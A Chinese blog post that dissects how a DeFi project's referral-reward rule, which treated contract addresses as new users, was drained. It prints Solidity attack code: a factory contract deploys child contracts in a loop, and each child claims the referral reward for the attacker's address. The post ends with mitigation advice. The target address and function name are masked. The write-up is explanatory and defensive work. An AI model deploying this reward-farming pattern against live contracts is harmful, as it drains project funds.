震惊:全面拆解dapp上线三天、 规则漏洞导致资金全部损失

简介: 震惊:全面拆解dapp上线三天、 规则漏洞导致资金全部损失

背景:

今天的分析的是链上一个土狗项目由于规则设计漏洞、致使资金全部损失的案例、近期这个项目也是圈内很火、今天看到了,就趁周末有时间从技术的角度,分析黑客如何利用链上部署的合约,进而干废项目方。

今天说的这个,不是技术漏洞bug、是规则设计漏洞。

说到这里可能有同学就说了、我合约不开源、他怎么发现我的漏洞的、怎么攻击我的、这里可以直接告诉你、不开源不代表安全、只是增加了黑客的一点点成本而已。

攻击源代码

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract ChildContract {
    // 定义合约
     address constant remoteContractAddress = 0x543a975946xxxxxxxxxxxxxxxxxxxxx;
     // 子合约的代码...
    function fun(address orderAdress) public {
        // 调用远程合约的*****function方法
        bytes4 sig = bytes4(keccak256("*****function(address)"));
        (bool success, ) = remoteContractAddress.call{value: 0}(abi.encodeWithSelector(sig, orderAdress));
        require(success, "Remote contract call failed");
    }
}
// 工厂合约定义
contract FactoryContract {
    address[] public childrenContracts; // 存储所有子合约地址的数组
    function createChild(address orderAdress) public {
        for (uint256 i = 0; i < 10; i++) {
        ChildContract child = new ChildContract(); // 创建新的子合约实例
        address childAddr = address(child); // 获取子合约的地址
        childrenContracts.push(orderAdress); // 将子合约地址存入数组
        child.fun(orderAdress);
        }
    }
}

案例分析

导火索: 项目方里面有个活动、利用首次推荐新用户推荐人下单获得固定奖励、本来一切都是好好的、但是这里就有一个漏洞了。大家都知道链上都是用address 钱包定义用户的、但是合约本质上也是一个特殊的address 、故此当有人核量成本、发现一笔攻击gas能覆盖奖励收益的时候、就开始使用技术手段去攻击了。

接下来我解释一下我演示的demo流程

1、创建一个工厂合约、每次通过fro方式重复new ChildContract 这个每次new 都会得到一个新的合约地址

2、通过ChildContract 内fun 方法,固定去调用项目方函数。

3、项目方接收到调用后,规则验证通过、给推荐地址orderAdress 返一笔。

4、如果FactoryContract .createChild 一直重复调用、项目方很快破产…

5、以下是我写的一个简单的调用demo 的链上记录

打码的不用关注、主要就是告诉你、可行。。。

后期建议优化

  • 业务规则上
    奖励延迟分批释放、比如今天得到奖励、但是后面每天获取多少比例
相关文章
|
9天前
|
监控 数据管理 数据挖掘
量化合约对冲交易软件|合约一键跟单社区平台系统开发技术规则
本文介绍了量化合约对冲交易软件和合约一键跟单社区平台系统的开发技术规则。涵盖编程语言与框架选择、数据获取与处理、策略开发与回测、实时交易与风险管理、用户认证与权限管理、合约管理与跟单功能、数据管理与分析、社区互动与分享以及系统稳定性与安全性等方面。
币圈期现套利策略交易软件开发合约源码定制详情
class Arbitrage: def __init__(self, contracts): self.contracts = contracts self.positions = [] self.current_price = {}
|
6月前
|
安全
期权现货外汇交易所系统开发详细规则/需求设计/方案逻辑/教程指南/源码功能
Developing an options, spot, and foreign exchange system involves complex financial products and trading rules, requiring consideration of the combination of technological implementation and financial rules. The following are possible detailed development rules and functional requirements for your r
|
算法 数据挖掘 TensorFlow
现货量化合约一键跟单系统开发(开发策略)丨合约现货量化一键跟单系统开发(案例策略)/方案项目/源码平台
  量化交易(Quantitative Trading)是通过数学模型和计算机算法对市场进行分析和预测,And based on this,a trading strategy is developed for investment trading.与传统的基本面分析、技术分析等方法不同,Quantitative trading emphasizes the use of a large amount of data and scientific methods for research,reducing the impact of human factors and improving th
|
6月前
|
安全 区块链
合约跟单系统开发策略指南|技术分析|源码
尽管智能合约具有上述优势,但也有其自身无法获取链外数据的局限性
|
安全 区块链
量化现货合约交易系统开发/量化合约对冲策略系统开发源码搭建
量化现货合约交易系统开发/量化合约对冲策略系统开发源码搭建
|
机器人
合约对冲量化交易策略模型开发 | 合约跟单量化交易软件源码逻辑规则
合约量化最大的好处就是解放交易者,合约量化加快的交易的速度,节省了交易者的时间成本。合约量化机器人其实是合约量化系统的别称。合约量化工具有:合约量化系统、合约量化机器人或者是合约量化社区等待;这一些都是做合约量化用的。
|
数据挖掘 区块链
(币安/okex)交易所搬砖套利软件开发源码规则解析
(币安/okex)交易所搬砖套利软件开发源码规则解析
|
机器人 Python
现货量化合约跟单系统开发(量化机器人开发案例)丨合约现货量化跟单系统开发(开发策略)/案例项目/程序源码
 “量化交易”有着两层含义:一是从狭义上来讲,是指量化交易的内容,将交易条件转变成为程序,自动下单;二是从广义上来讲,是指系统交易方法,就是一个整合的交易系统。即为根据一系列交易条件,智能化辅助决策体系,Combine rich professional experience with trading conditions to manage and control risks during the trading process.
|
安全 机器人
现货合约对冲量化交易系统(案例)、现货合约对冲量化交易系统(逻辑及方案)/成熟技术/源代码操作版
现货合约对冲量化交易系统是一个基于成熟技术的源代码操作版,为投资人提供高效、智能、安全的量化交易方案。本文将介绍现货合约对冲量化交易系统的逻辑及方案